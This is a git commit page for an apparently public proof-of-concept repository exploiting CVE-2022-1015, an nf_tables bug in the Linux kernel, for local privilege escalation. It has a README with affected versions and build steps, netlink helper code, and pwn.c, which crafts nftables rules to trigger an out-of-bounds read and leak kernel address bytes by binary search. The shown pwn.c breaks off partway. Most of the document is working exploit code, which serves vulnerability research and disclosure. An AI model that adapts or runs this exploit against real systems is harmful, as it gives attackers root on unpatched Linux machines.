Projects STRLCPY CVE-2022-1015 Commits d9123fde
🤬
  • initial commit

  • Loading...
  • David committed 2 years ago
    d9123fde
  • ■ ■ ■ ■ ■
    .gitignore
     1 +*.o
     2 +build/
     3 +bin/
     4 +pwn
     5 + 
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +objects = ./pwn.o ./helpers.o
     2 + 
     3 +.PHONY: clean pwn
     4 + 
     5 +pwn: $(objects)
     6 + $(CC) $(objects) -lmnl -lnftnl -o pwn
     7 + 
     8 +./%.o: %.c
     9 + $(CC) -c $(CFLAGS) -o "$@" "$<"
     10 +
     11 +clean:
     12 + rm -rf ./pwn.o ./helpers.o
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# CVE-2022-1015
     2 + 
     3 +This repository contains a PoC for local privilege escalation of CVE-2022-1015, a bug in the `nf_tables` component of the linux kernel that I found. You can read a detailed analysis of this vulnerability and the exploitation strategy over at my [blog](<>).
     4 + 
     5 +Right now, the exploit is a bit messy. Sorry!
     6 + 
     7 +## Affected versions
     8 + 
     9 +Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable.
     10 + 
     11 +## Caveats
     12 + 
     13 +This exploit is extremely unlikely to pop a root shell for a given vulnerable kernel. You will have to experiment with chain hook locations (input vs output etc.), `nft_bitwise` address leak offsets, and ROP gadget and symbol offsets. I tested on 5.16-rc3+ and had to seriously change my exploit for a kernel build compiled with a different gcc version.
     14 + 
     15 +That said, with all the information given in my blog post I think altering the exploit for a given vulnerable kernel should be doable.
     16 + 
     17 +## Building instructions
     18 + 
     19 +Simply run `make`, and a `pwn` executable should pop up in the source dir. You will need `libmnl` and `libnftnl` developer packages, as well as linux headers of the target.
     20 + 
     21 +You can explicitly specify kernel headers to use with e.g. `make CFLAGS="-I/path/to/linux-tree/usr/include"`.
     22 + 
     23 +## Demo
     24 + 
     25 +[![](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H.svg)](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H)
     26 + 
     27 +## Licensing
     28 + 
     29 +This code is distributed under the Beerware license. I am not legally responsible for anything you do with it.
  • ■ ■ ■ ■ ■ ■
    helpers.c
     1 +/*
     2 + * ----------------------------------------------------------------------------
     3 + * "THE BEER-WARE LICENSE" (Revision 42):
     4 + * David Bouman (pql) wrote this file. As long as you retain this notice you
     5 + * can do whatever you want with this stuff. If we meet some day, and you think
     6 + * this stuff is worth it, you can buy me a beer in return. Signed, David.
     7 + * ----------------------------------------------------------------------------
     8 + */
     9 +#define _GNU_SOURCE
     10 +#include <stdlib.h>
     11 +#include <time.h>
     12 +#include <string.h>
     13 +#include <netinet/in.h>
     14 +#include <arpa/inet.h>
     15 + 
     16 +#include <sys/types.h>
     17 +#include <sched.h>
     18 +#include <signal.h>
     19 + 
     20 +#include <linux/netfilter.h>
     21 +#include <linux/netfilter/nf_tables.h>
     22 + 
     23 +#include <libmnl/libmnl.h>
     24 +#include <libnftnl/table.h>
     25 +#include <libnftnl/chain.h>
     26 +#include <libnftnl/rule.h>
     27 +#include <libnftnl/expr.h>
     28 +#include "helpers.h"
     29 + 
     30 +static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq)
     31 +{
     32 + char buf[MNL_SOCKET_BUFFER_SIZE];
     33 + 
     34 + int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
     35 + 
     36 + while (ret > 0) {
     37 + ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
     38 + if (ret <= 0) break;
     39 + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
     40 + }
     41 + return ret;
     42 +}
     43 + 
     44 +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     45 +{
     46 +
     47 + char buf[MNL_SOCKET_BUFFER_SIZE];
     48 + struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf);
     49 + 
     50 + uint8_t msg_type = msg & 0xff;
     51 + uint8_t nft_type = (msg >> 8) & 0xff;
     52 + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++);
     53 + mnl_nlmsg_batch_next(batch);
     54 + int table_seq = *seq;
     55 + struct nlmsghdr* nlh;
     56 + 
     57 + if (result_handler == NULL) {
     58 + result_handler = default_batch_req_handler;
     59 + }
     60 +
     61 + nlh = nftnl_nlmsg_build_hdr(
     62 + mnl_nlmsg_batch_current(batch),
     63 + msg_type, family,
     64 + msg_flags | NLM_F_ACK, (*seq)++
     65 + );
     66 +
     67 + switch(nft_type) {
     68 + case NFT_TYPE_TABLE:
     69 + nftnl_table_nlmsg_build_payload(nlh, *object);
     70 + nftnl_table_free(*object);
     71 + break;
     72 + case NFT_TYPE_CHAIN:
     73 + nftnl_chain_nlmsg_build_payload(nlh, *object);
     74 + nftnl_chain_free(*object);
     75 + break;
     76 + case NFT_TYPE_RULE:
     77 + nftnl_rule_nlmsg_build_payload(nlh, *object);
     78 + nftnl_rule_free(*object);
     79 + break;
     80 + default:
     81 + return -1; // will increment seq wrongly... no prob i guess
     82 + }
     83 + 
     84 + *object = NULL;
     85 + 
     86 + mnl_nlmsg_batch_next(batch);
     87 + nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++);
     88 + mnl_nlmsg_batch_next(batch);
     89 + 
     90 + int ret = mnl_socket_sendto(
     91 + nl,
     92 + mnl_nlmsg_batch_head(batch),
     93 + mnl_nlmsg_batch_size(batch)
     94 + );
     95 + 
     96 + if (ret < 0) {
     97 + perror("mnl_socket_send");
     98 + return -1;
     99 + }
     100 + 
     101 + int portid = mnl_socket_get_portid(nl);
     102 + 
     103 + mnl_nlmsg_batch_stop(batch);
     104 + 
     105 + result_handler(nl, portid, table_seq);
     106 +}
     107 + 
     108 +struct nftnl_table* build_table(char* name, uint16_t family)
     109 +{
     110 + struct nftnl_table* t = nftnl_table_alloc();
     111 +
     112 + nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
     113 + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
     114 + 
     115 + return t;
     116 +}
     117 + 
     118 +struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param)
     119 +{
     120 + struct nftnl_chain* c;
     121 + 
     122 + c = nftnl_chain_alloc();
     123 + 
     124 + nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
     125 + nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
     126 + 
     127 + if (base_param) {
     128 + nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
     129 + nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
     130 + }
     131 + 
     132 + return c;
     133 +
     134 +}
     135 + 
     136 + 
     137 +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle)
     138 +{
     139 + struct nftnl_rule* r = NULL;
     140 + uint8_t proto;
     141 +
     142 + r = nftnl_rule_alloc();
     143 + 
     144 + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
     145 + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
     146 + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
     147 +
     148 + if (handle) {
     149 + nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle);
     150 + }
     151 + 
     152 + return r;
     153 + 
     154 +}
     155 + 
     156 +// for some reason my editor does not recognize these
     157 +#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1
     158 +#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1
     159 + 
     160 + 
     161 +void rule_add_bit_shift(
     162 + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
     163 + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len)
     164 +{
     165 +
     166 + if(bitwise_len > 0xff) {
     167 + puts("bitwise_len > 0xff");
     168 + exit(EXIT_FAILURE);
     169 + }
     170 + 
     171 + struct nftnl_expr* e;
     172 + e = nftnl_expr_alloc("bitwise");
     173 + 
     174 + nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg);
     175 + nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg);
     176 + nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type);
     177 + nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len);
     178 + nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len);
     179 + 
     180 + nftnl_rule_add_expr(r, e);
     181 +}
     182 + 
     183 +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg)
     184 +{
     185 + uint32_t data = 0;
     186 + rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data));
     187 +}
     188 + 
     189 +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg)
     190 +{
     191 + struct nftnl_expr* e;
     192 + e = nftnl_expr_alloc("payload");
     193 + 
     194 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
     195 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
     196 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
     197 + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
     198 + 
     199 + nftnl_rule_add_expr(r, e);
     200 +}
     201 + 
     202 +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len)
     203 +{
     204 + struct nftnl_expr* e;
     205 + e = nftnl_expr_alloc("cmp");
     206 + 
     207 + nftnl_expr_set_u32(e, NFTA_CMP_OP, op);
     208 + nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg);
     209 + nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len);
     210 + 
     211 + nftnl_rule_add_expr(r, e);
     212 +}
     213 + 
     214 +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len)
     215 +{
     216 + struct nftnl_expr* e;
     217 +
     218 + e = nftnl_expr_alloc("immediate");
     219 + 
     220 + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg);
     221 + nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len);
     222 + 
     223 + nftnl_rule_add_expr(r, e);
     224 +}
     225 + 
     226 +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name)
     227 +{
     228 + struct nftnl_expr* e;
     229 + e = nftnl_expr_alloc("immediate");
     230 + 
     231 + // dreg = 0 -> verdict
     232 + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0);
     233 + 
     234 + nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
     235 + 
     236 + if (verdict == NFT_GOTO || verdict == NFT_JUMP) {
     237 + nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name);
     238 + }
     239 + 
     240 + nftnl_rule_add_expr(r, e);
     241 +}
     242 + 
     243 + 
     244 +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     245 +{
     246 +
     247 + struct nftnl_table* t = build_table(name, family);
     248 + 
     249 + return send_batch_request(
     250 + nl,
     251 + NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8),
     252 + NLM_F_CREATE, family, (void**)&t, seq,
     253 + result_handler
     254 + );
     255 +}
     256 + 
     257 +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     258 +{
     259 + struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
     260 + 
     261 + return send_batch_request(
     262 + nl,
     263 + NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
     264 + NLM_F_CREATE, family, (void**)&c, seq,
     265 + result_handler
     266 + );
     267 +}
     268 + 
     269 +/*
     270 +int update_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
     271 +{
     272 + struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
     273 + 
     274 + return send_batch_request(
     275 + nl,
     276 + NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
     277 + NLM_F_CREATE | NLM_F_REPLACE, family, (void**)&c, seq,
     278 + result_handler
     279 + ;)
     280 +}
     281 +*/
     282 + 
     283 +struct child_proc {
     284 + struct child_proc* next;
     285 + pid_t pid;
     286 +};
     287 + 
     288 +static struct child_proc *children;
     289 + 
     290 + 
     291 +static void add_child(pid_t pid)
     292 +{
     293 + struct child_proc* child = malloc(sizeof *child);
     294 + child->pid = pid;
     295 + child->next = children;
     296 + children = child;
     297 +}
     298 + 
     299 +static void kill_children(int sig)
     300 +{
     301 + //printf("[pid=%d] killing children!\n", getpid());
     302 + 
     303 + struct child_proc* current_child = children;
     304 + while (current_child) {
     305 + kill(current_child->pid, SIGTERM);
     306 + current_child = current_child->next;
     307 + }
     308 + 
     309 + exit(EXIT_SUCCESS);
     310 +}
     311 + 
     312 +pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int))
     313 +{
     314 +
     315 + int err;
     316 + 
     317 + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     318 + 
     319 + if (s < 0) {
     320 + perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
     321 + exit(EXIT_FAILURE);
     322 + }
     323 + 
     324 + int reuse_addr = 1;
     325 + 
     326 + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr);
     327 + 
     328 + struct sockaddr_in addr;
     329 + inet_aton(ip_string, &addr.sin_addr);
     330 + addr.sin_family = AF_INET;
     331 + addr.sin_port = htons(port);
     332 + 
     333 + err = bind(s, (struct sockaddr*)&addr, sizeof(addr));
     334 +
     335 + if (err < 0) {
     336 + perror("bind");
     337 + exit(EXIT_FAILURE);
     338 + }
     339 + 
     340 + printf("Started listener on [%s:%d] (udp)\n", ip_string, port);
     341 + 
     342 + pid_t pid = fork();
     343 + if (pid) {
     344 + // parent process
     345 + add_child(pid);
     346 + return pid;
     347 + }
     348 + 
     349 + handler(s);
     350 + 
     351 + exit(EXIT_SUCCESS);
     352 + 
     353 +}
     354 + 
     355 +int stop_listener(pid_t pid)
     356 +{
     357 +
     358 + if (kill(pid, SIGTERM)) {
     359 + perror("kill");
     360 + return -1;
     361 + };
     362 + 
     363 + struct child_proc* next_child = children;
     364 + struct child_proc* current_child = NULL;
     365 + 
     366 + while (next_child) {
     367 +
     368 + if (next_child->pid == pid) {
     369 +
     370 + struct child_proc** prev = current_child == NULL ? &children : &current_child;
     371 + if (current_child == NULL) {
     372 + prev = &children;
     373 + } else {
     374 + prev = &current_child;
     375 + }
     376 + 
     377 + (*prev)->next = next_child->next;
     378 + break;
     379 + 
     380 + }
     381 + 
     382 + current_child = next_child;
     383 + next_child = next_child->next;
     384 + }
     385 + 
     386 + return 0;
     387 +}
     388 + 
     389 +int connect_to(char* ip_string, uint16_t port)
     390 +{
     391 + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     392 + 
     393 + if (s < 0) {
     394 + perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
     395 + return -1;
     396 + }
     397 + struct sockaddr_in conn_addr;
     398 + conn_addr.sin_port = htons(port);
     399 + inet_aton(ip_string, &conn_addr.sin_addr);
     400 + conn_addr.sin_family = AF_INET;
     401 + 
     402 + int err = connect(s, (struct sockaddr*)&conn_addr, sizeof conn_addr);
     403 + if (err < 0) {
     404 + perror("connect");
     405 + return -1;
     406 + }
     407 +
     408 + printf("Successfully connected to [%s:%hd] (udp)\n", ip_string, port);
     409 + 
     410 + return s;
     411 +}
     412 + 
     413 +void hexdump(void* data, size_t len, unsigned int n_columns)
     414 +{
     415 + 
     416 + uint8_t* bdata = data;
     417 + 
     418 + for (int i = 0; i < len; ++i) {
     419 + printf("%.2hhx ", bdata[i]);
     420 + 
     421 + if ( (i+1) % n_columns == 0) {
     422 + putchar('\n');
     423 + }
     424 + }
     425 +}
  • ■ ■ ■ ■ ■ ■
    helpers.h
     1 +/*
     2 + * ----------------------------------------------------------------------------
     3 + * "THE BEER-WARE LICENSE" (Revision 42):
     4 + * David Bouman (pql) wrote this file. As long as you retain this notice you
     5 + * can do whatever you want with this stuff. If we meet some day, and you think
     6 + * this stuff is worth it, you can buy me a beer in return. Signed, David.
     7 + * ----------------------------------------------------------------------------
     8 + */
     9 +#pragma once
     10 +#include <stdint.h>
     11 + 
     12 +enum nft_types {
     13 + NFT_TYPE_TABLE = 0,
     14 + NFT_TYPE_CHAIN,
     15 + NFT_TYPE_RULE
     16 +};
     17 + 
     18 +struct unft_base_chain_param {
     19 + uint32_t hook_num;
     20 + uint32_t prio;
     21 +};
     22 + 
     23 + 
     24 +// build helpers
     25 +struct nftnl_table* build_table(char* name, uint16_t family);
     26 +struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param);
     27 +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle);
     28 + 
     29 +// create helpers (actually commits to the kernel)
     30 +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int));
     31 + 
     32 +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
     33 +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
     34 + 
     35 +// expression helpers
     36 +void rule_add_bit_shift(
     37 + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
     38 + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len);
     39 +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg);
     40 +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);
     41 +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len);
     42 + 
     43 + 
     44 +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
     45 +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name);
     46 + 
     47 +// add immediate of arbitrary length
     48 +void rule_add_immediate_data_arblen(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
     49 + 
     50 +// misc. helpers
     51 +pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int));
     52 +int stop_listener(pid_t pid);
     53 +int connect_to(char* ip_string, uint16_t port);
     54 +void hexdump(void* data, size_t len, unsigned int n_columns);
     55 + 
     56 +void drop_to_networkns();
  • ■ ■ ■ ■ ■ ■
    make.sh
     1 +musl-gcc -static -I/home/david/linux/linux/usr/include pwn.c helpers.c -lnftnl -lmnl -lcap -o pwn -DDEBUG
     2 + 
  • ■ ■ ■ ■ ■ ■
    pwn.c
     1 +/*
     2 + * ----------------------------------------------------------------------------
     3 + * "THE BEER-WARE LICENSE" (Revision 42):
     4 + * David Bouman (pql) wrote this file. As long as you retain this notice you
     5 + * can do whatever you want with this stuff. If we meet some day, and you think
     6 + * this stuff is worth it, you can buy me a beer in return. Signed, David.
     7 + * ----------------------------------------------------------------------------
     8 + */
     9 + 
     10 +#define _GNU_SOURCE 1
     11 +#include <stdlib.h>
     12 +#include <time.h>
     13 +#include <string.h>
     14 +#include <stddef.h>
     15 +#include <netinet/in.h>
     16 +#include <netinet/udp.h>
     17 +#include <arpa/inet.h>
     18 +#include <errno.h>
     19 +#include <sys/mman.h>
     20 +#include <sched.h>
     21 +#include <unistd.h>
     22 +#include <fcntl.h>
     23 +#include <sys/prctl.h>
     24 +#include <linux/limits.h>
     25 +#include <linux/netfilter.h>
     26 +#include <linux/netfilter/nf_tables.h>
     27 + 
     28 +#include <libmnl/libmnl.h>
     29 +#include <libnftnl/table.h>
     30 +#include <libnftnl/chain.h>
     31 +#include <libnftnl/rule.h>
     32 +#include <libnftnl/expr.h>
     33 + 
     34 +#include "helpers.h"
     35 + 
     36 +struct vuln_expr_params {
     37 + uint32_t min_len;
     38 + uint32_t max_len;
     39 + uint32_t value;
     40 +};
     41 + 
     42 + 
     43 +void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq)
     44 +{
     45 + if (create_table(nl, table_name, AF_INET, seq, NULL) == -1) {
     46 + perror("Failed creating table");
     47 + exit(EXIT_FAILURE);
     48 + }
     49 + 
     50 + printf("[+] Created nft %s\n", table_name);
     51 + 
     52 + struct unft_base_chain_param bp;
     53 + bp.hook_num = NF_INET_LOCAL_OUT;
     54 + bp.prio = 10;
     55 + 
     56 + if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL)) {
     57 + perror("Failed creating base chain");
     58 + exit(EXIT_FAILURE);
     59 + }
     60 + 
     61 + printf("[+] Created base ipv4 chain %s\n", base_chain_name);
     62 +}
     63 + 
     64 +static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift)
     65 +{
     66 + uint64_t base_ = (uint64_t)(1) << (32 - shift);
     67 + uint32_t base = (uint32_t)(base_ - 1);
     68 + 
     69 + if (base == 0xffffffff) {
     70 + base = 0xfffffffb; // max actual value
     71 + }
     72 + 
     73 + for (;;) {
     74 + uint64_t computed = (base * 4) & 0xffffffff;
     75 + uint64_t max_value = computed + (uint64_t)(max_len);
     76 + if (max_value < ((uint64_t)(1) << 32)) {
     77 + break;
     78 + }
     79 + 
     80 + if ( (base & 0xff) != desired) {
     81 + base--;
     82 + continue;
     83 + }
     84 + 
     85 + uint32_t len_at_least = ((uint64_t)1 << 32) - computed;
     86 + uint32_t len_at_most = len_at_least + 0x50;
     87 +
     88 + if (min_len > len_at_least) {
     89 + len_at_least = min_len;
     90 + }
     91 + 
     92 + if (max_len < len_at_most) {
     93 + len_at_most = max_len;
     94 + }
     95 + result->max_len = len_at_most;
     96 + result->min_len = len_at_least;
     97 + result->value = base + 4;
     98 + return 0;
     99 + 
     100 + }
     101 + return -1;
     102 + 
     103 +}
     104 + 
     105 +static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len)
     106 +{
     107 +
     108 + for (int i = 0; i < 3; ++i) {
     109 + int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i);
     110 + if (!res) {
     111 + return 0;
     112 + }
     113 + }
     114 +
     115 + return -1;
     116 +
     117 +}
     118 + 
     119 +#define MAGIC 0xdeadbeef0badc0de
     120 +int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
     121 +{
     122 + 
     123 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     124 + 
     125 + // we start by adding a rule to fetch the destination port
     126 + // UDP header destination port starts at offset +2 and is 2 bytes long
     127 + // we store the result in register 8
     128 +
     129 + rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8);
     130 + 
     131 + // if the destination port does not match, the rule will accept the packet. This will save us a lot of noise,
     132 + // including noise generated by packets sent by our server socket.
     133 + 
     134 + // the server sockets actually have a different stack layout than the client sockets in do_chain, so this is essential.
     135 + 
     136 + uint16_t dest_port = htons(9999);
     137 + rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port);
     138 + 
     139 + // then, we fetch the first 8 bytes of the the inner header.
     140 + // these need to match our magic value, or else the rule will accept the packet.
     141 + // we do this as a failsafe that guarantees we only process packets we
     142 + // actually want to process.
     143 + 
     144 + rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 8);
     145 + 
     146 + uint64_t magic = MAGIC;
     147 + rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic);
     148 + 
     149 + // If the packet passed these checks, we jump to the auxiliary chain
     150 + 
     151 + rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain");
     152 + 
     153 + // Commit rule to the kernel
     154 + return send_batch_request(
     155 + nl,
     156 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     157 + NLM_F_CREATE, family, (void**)&r, seq,
     158 + NULL
     159 + );
     160 +
     161 +}
     162 + 
     163 +int create_infoleak_rule(
     164 + struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags)
     165 +{
     166 + 
     167 + struct vuln_expr_params vuln_params;
     168 + 
     169 + // index 0xff translates to +0x3fc, and there's a kernel address that we can grab.
     170 + 
     171 + if (calc_vuln_expr_params(&vuln_params, 0xff, 0x40, 0x40)) {
     172 + puts("Could not find correct params to trigger OOB read.");
     173 + return -1;
     174 + }
     175 + 
     176 + // we shift by pos*8 so that the first byte of the register will be the one at pos `pos`.
     177 + uint32_t shift_amt = (pos * 8);
     178 + rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);
     179 +
     180 + // we compare it to the constant - we can binary search
     181 +
     182 + // if the compared value is greater than our supplied value,
     183 + // we accept the packet. Else, we drop it.
     184 + 
     185 + rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1);
     186 + 
     187 + rule_add_immediate_verdict(r, NF_DROP, NULL);
     188 + 
     189 + return send_batch_request(
     190 + nl,
     191 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     192 + NLM_F_CREATE | extraflags, family, (void**)&r, seq,
     193 + NULL
     194 + );
     195 +}
     196 + 
     197 +#define INFOLEAK_RULE_HANDLE 4
     198 +uint8_t do_leak_byte(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint8_t pos, int* seq)
     199 +{
     200 + 
     201 + uint8_t low = 0;
     202 + uint8_t high = 255;
     203 +
     204 + uint8_t mid;
     205 + 
     206 + char msg[16] = {};
     207 + char result[16] = {};
     208 + *(uint64_t*)msg = MAGIC;
     209 + 
     210 + for(;;) {
     211 +
     212 + mid = (high + low) / 2;
     213 +
     214 + printf("bounds (inclusive): [0x%.2hhx, 0x%.2hhx]\n", low, high);
     215 + 
     216 + if (low == high) {
     217 + return mid;
     218 + }
     219 + 
     220 + // Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE
     221 + struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
     222 + nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
     223 +
     224 + // The rule is going to compare
     225 + if (create_infoleak_rule(nl, r, mid, pos, NFPROTO_IPV4, seq, NLM_F_REPLACE)) {
     226 + perror("Could not replace infoleak rule");
     227 + exit(EXIT_FAILURE);
     228 + }
     229 + 
     230 + sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr);
     231 + 
     232 + struct sockaddr_in presumed_server_addr;
     233 + socklen_t presumed_server_addr_len = sizeof presumed_server_addr;
     234 + 
     235 + int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len);
     236 + if (!nrecv) {
     237 + puts("[-] Remote socket closed...");
     238 + exit(EXIT_FAILURE);
     239 + } else if (nrecv < 0) {
     240 + 
     241 + // In case of timeout, value is greater than `mid`
     242 + low = mid + 1;
     243 + } else {
     244 + if (strcmp(result, "MSG_OK")) {
     245 + puts("[-] Something went wrong...");
     246 + exit(EXIT_FAILURE);
     247 + }
     248 + memset(result, 0, sizeof result);
     249 +
     250 + // But if we get a response, the packet arrived at the server and therefore the value is lower than or equal to mid
     251 + 
     252 + high = mid;
     253 + }
     254 + }
     255 +}
     256 + 
     257 +uint32_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq)
     258 +{
     259 + 
     260 + #define CLIENT_HOST "127.0.0.1"
     261 + #define CLIENT_PORT 8888
     262 + 
     263 + int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     264 + 
     265 + struct sockaddr_in client_addr;
     266 + inet_aton(CLIENT_HOST, &client_addr.sin_addr);
     267 + client_addr.sin_port = htons(CLIENT_PORT);
     268 + client_addr.sin_family = AF_INET;
     269 + 
     270 + if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0) {
     271 + perror("client bind");
     272 + return -1;
     273 + }
     274 + 
     275 + // 100ms receive timeout
     276 + // can probably be lower
     277 + struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200};
     278 + setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t);
     279 +
     280 + uint8_t results[4] = {};
     281 + 
     282 + for(int i = 1; i < 4; ++i) {
     283 + results[i] = do_leak_byte(nl, client_sock, addr, table_name, aux_chain_name, i, seq);
     284 + printf("[+] Leaked byte %i: %.2hhx\n", i, results[i]);
     285 + }
     286 +
     287 + close(client_sock);
     288 + return *(uint32_t*)results;
     289 + 
     290 +}
     291 + 
     292 +int simple_handler(int fd)
     293 +{
